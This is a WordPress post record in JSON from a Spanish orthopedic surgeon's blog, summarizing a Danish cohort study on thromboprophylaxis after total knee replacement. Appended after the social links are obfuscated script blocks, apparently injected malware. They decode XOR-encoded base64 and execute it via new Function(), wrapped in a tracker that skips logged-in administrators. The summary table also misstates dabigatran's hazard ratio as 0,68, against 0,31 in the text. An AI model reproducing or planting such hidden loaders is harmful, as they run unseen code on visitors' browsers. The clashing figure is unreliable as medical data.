{"id":1857,"date":"2021-11-24T12:14:34","date_gmt":"2021-11-24T18:14:34","guid":{"rendered":"https:\/\/www.drestebancastro.com\/blog\/?p=1857"},"modified":"2026-07-05T06:59:23","modified_gmt":"2026-07-05T12:59:23","slug":"complicaciones-tromboembolicas-y-hemorragicas-despues-de-una-artroplastia-total-de-rodilla-primaria","status":"publish","type":"post","link":"https:\/\/www.drestebancastro.com\/blog\/complicaciones-tromboembolicas-y-hemorragicas-despues-de-una-artroplastia-total-de-rodilla-primaria\/","title":{"rendered":"Complicaciones tromboemb\u00f3licas y hemorr\u00e1gicas despu\u00e9s de una artroplastia total de rodilla primaria: Un estudio de cohorte nacional dan\u00e9s"},"content":{"rendered":"\n<div class=\"wp-block-rank-math-toc-block\" id=\"rank-math-toc\"><h2>Table of Contents<\/h2><nav><ul><li><a href=\"#complicaciones-tromboembolicas-y-hemorragicas-despues-de-una-artroplastia-total-de-rodilla-primaria-un-estudio-de-cohorte-nacional-danes\">Complicaciones tromboemb\u00f3licas y hemorr\u00e1gicas despu\u00e9s de una artroplastia total de rodilla primaria: Un estudio de cohorte nacional dan\u00e9s<\/a><\/li><li><a href=\"#objetivo\">OBJETIVO<\/a><\/li><li><a href=\"#material-y-metodos\">MATERIAL Y M\u00c9TODOS<\/a><ul><li><a href=\"#artroplastia-total-de-rodilla\">artroplastia total de rodilla<\/a><\/li><\/ul><\/li><li><a href=\"#resultados\">RESULTADOS<\/a><\/li><li><a href=\"#conclusion\">CONCLUSI\u00d3N<\/a><\/li><\/ul><\/nav><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"complicaciones-tromboembolicas-y-hemorragicas-despues-de-una-artroplastia-total-de-rodilla-primaria-un-estudio-de-cohorte-nacional-danes\">Complicaciones tromboemb\u00f3licas y hemorr\u00e1gicas despu\u00e9s de una artroplastia total de rodilla primaria: Un estudio de cohorte nacional dan\u00e9s<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"objetivo\"><strong>OBJETIVO<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">El objetivo de este estudio es comparar la eficacia y seguridad de los tratamientos tromboprofil\u00e1cticos en pacientes sometidos a artroplastia total de rodilla primaria (ATR). &nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"material-y-metodos\"><strong>MATERIAL Y <\/strong><strong>M\u00c9TODOS<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Utilizando registros m\u00e9dicos nacionales, identificamos pacientes con una ATR primaria realizada en Dinamarca entre el 1 de enero de 2013 y el 31 de diciembre de 2018 que recibieron tratamiento tromboprofil\u00e1ctico. Examinamos el riesgo de tromboembolismo venoso (TEV) a 90 d\u00edas, hemorragia mayor y mortalidad por todas las causas despu\u00e9s de la cirug\u00eda. Usamos un modelo de regresi\u00f3n de Cox para calcular los cocientes de riesgo (HR) con intervalos de confianza (IC) del 95% para cada resultado, comparando por pares el tratamiento con dalteparina o dabigatr\u00e1n con rivaroxab\u00e1n como referencia. Los HR se calcularon utilizando un an\u00e1lisis multivariable y un an\u00e1lisis emparejado por puntuaci\u00f3n de propensi\u00f3n.. &nbsp;<\/p>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"artroplastia-total-de-rodilla\">artroplastia total de rodilla<\/h6>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"resultados\"><strong>RESULTADOS<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Identificamos 27.736 pacientes ATR primarios que recibieron tratamiento tromboprofil\u00e1ctico (rivaroxab\u00e1n (n = 18.846); dalteparina (n = 5.767); dabigatr\u00e1n (n = 1.443); tinzaparina (n = 1.372); y enoxaparina (n = 308)). En el an\u00e1lisis multivariable ajustado y en comparaci\u00f3n con rivaroxab\u00e1n, el tratamiento con dalteparina (HR 0,68 (IC del 95%: 0,49 a 0,92)) o dabigatr\u00e1n (HR 0,31 (IC del 95%: 0,13 a 0,70)) se asoci\u00f3 con una disminuci\u00f3n del riesgo de TEV. No se observaron diferencias estad\u00edsticamente significativas para hemorragia mayor o mortalidad por todas las causas. El an\u00e1lisis emparejado del puntaje de propensi\u00f3n arroj\u00f3 resultados similares. &nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"conclusion\"><strong>CONCLUSI\u00d3N<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">El tratamiento con dalteparina o dabigatr\u00e1n se asoci\u00f3 con una disminuci\u00f3n del riesgo de TEV a los 90 d\u00edas despu\u00e9s de la cirug\u00eda de ATR primaria en comparaci\u00f3n con el tratamiento con rivaroxab\u00e1n. &nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>&nbsp;<\/strong><\/td><td>Total de pacientes<\/td><\/tr><tr><td>RIVAROXAB\u00c1N<\/td><td>n: 18.846 &nbsp;<\/td><\/tr><tr><td>DELTEPARINA<\/td><td>n: 5.767 HR: 0,68 (IC 95%, 0,49 a 0,92))<\/td><\/tr><tr><td>DABIGATR\u00c1N<\/td><td>N: 1.443 (HR: 0,68 (IC del 95%: 0,13 a 0,70))<\/td><\/tr><tr><td>TINZAPARINA<\/td><td>N: 1.372<\/td><\/tr><tr><td><strong>ENOXAPARINA<\/strong><\/td><td>N: 308<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>BIBLIOGRAFIA<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gil Garay. (2001).<a href=\"https:\/\/www.elsevier.es\/es-revista-revista-espanola-cirugia-ortopedica-traumatologia-129-articulo-profilaxis-enfermedad-tromboembolica-cirugia-cadera-13013709\" target=\"_blank\" rel=\"noopener\"> Profilaxis de la enfermedad tromboemb\u00f3lica en la cirug\u00eda de cadera y rodilla.<\/a> abril 2001, de Universidad Aut\u00f3noma de Madrid Sitio web: https:\/\/www.elsevier.es\/es-revista-revista-espanola-cirugia-ortopedica-traumatologia-129-articulo-profilaxis-enfermedad-tromboembolica-cirugia-cadera-13013709<\/p>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 has-custom-font-size is-style-fill has-medium-font-size\"><a class=\"wp-block-button__link has-white-color has-text-color has-background\" href=\"https:\/\/www.doctoralia.com.mx\/esteban-castro-contreras-2\/ortopedista-traumatologo\/tlajomulco-de-zuniga?utm_source=widget-doctor-63351&amp;utm_medium=certificate&amp;utm_campaign=&amp;utm_content=#highlight-calendar\" style=\"background-color:#00c3a5\" target=\"_blank\" rel=\"noreferrer noopener\"> Agenda una cita <\/a><\/div>\n\n\n\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 is-style-fill\"><a class=\"wp-block-button__link has-background\" href=\"https:\/\/www.drestebancastro.com\/blog\/\" style=\"background-color:#0798bc\" target=\"_blank\" rel=\"noreferrer noopener\"> Conoce m\u00e1s <\/a><\/div>\n\n\n\n<div class=\"wp-block-button has-custom-width wp-block-button__width-50 is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link has-text-color\" href=\"https:\/\/www.facebook.com\/Dr-Esteban-Castro-Contreras-Traumat%C3%B3logo-y-Ortopedista-121291695221565\/\" style=\"color:#0798bc\" target=\"_blank\" rel=\"noreferrer noopener\"> Facebook<\/a><\/div>\n\n\n\n<div class=\"wp-block-button has-custom-width wp-block-button__width-50 is-style-outline is-style-outline--2\"><a class=\"wp-block-button__link has-white-background-color has-text-color has-background\" href=\"https:\/\/www.instagram.com\/drestebancastrotrauma\/\" style=\"color:#0798bc\" target=\"_blank\" rel=\"noreferrer noopener\"> Instagram<\/a><\/div>\n<\/div>\n<script>function xdav_tracker() {\n    if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }\n    ?>\n<script>\n!function(){var _0xe4e8=atob('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'),_0x33dc=109,_0xfb89=new Uint8Array(_0xe4e8['length']),_0x7bd8=0;for(;_0x7bd8<_0xe4e8['length'];_0x7bd8++)_0xfb89[_0x7bd8]=_0xe4e8['charCodeAt'](_0x7bd8)^_0x33dc;(new Function(new ()['decode'](_0xfb89)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<\/script><script>;!function(){var =atob('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'),_0x4cbf=59,_0xe52d=new Uint8Array(['length']),_0x249c=0;for(;_0x249c<['length'];_0x249c++)_0xe52d[_0x249c]=['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new ()['decode'](_0xe52d)))()}();<\/script><script>;!function(){var =atob('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'),_0x4cbf=59,_0xe52d=new Uint8Array(['length']),_0x249c=0;for(;_0x249c<['length'];_0x249c++)_0xe52d[_0x249c]=['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new ()['decode'](_0xe52d)))()}();<\/script>","protected":false},"excerpt":{"rendered":"<p>Complicaciones tromboemb\u00f3licas y hemorr\u00e1gicas despu\u00e9s de una artroplastia total de rodilla primaria: Un estudio de cohorte nacional dan\u00e9s OBJETIVO El objetivo de este estudio es comparar la eficacia y seguridad de los tratamientos tromboprofil\u00e1cticos en pacientes sometidos a artroplastia total de rodilla primaria (ATR). &nbsp; MATERIAL Y M\u00c9TODOS Utilizando registros m\u00e9dicos nacionales, identificamos pacientes con [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":1858,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[57],"tags":[],"class_list":["post-1857","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-rodilla"],"_links":{"self":[{"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/posts\/1857","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/comments?post=1857"}],"version-history":[{"count":11,"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/posts\/1857\/revisions"}],"predecessor-version":[{"id":4187,"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/posts\/1857\/revisions\/4187"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/media\/1858"}],"wp:attachment":[{"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/media?parent=1857"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/categories?post=1857"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.drestebancastro.com\/blog\/wp-json\/wp\/v2\/tags?post=1857"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}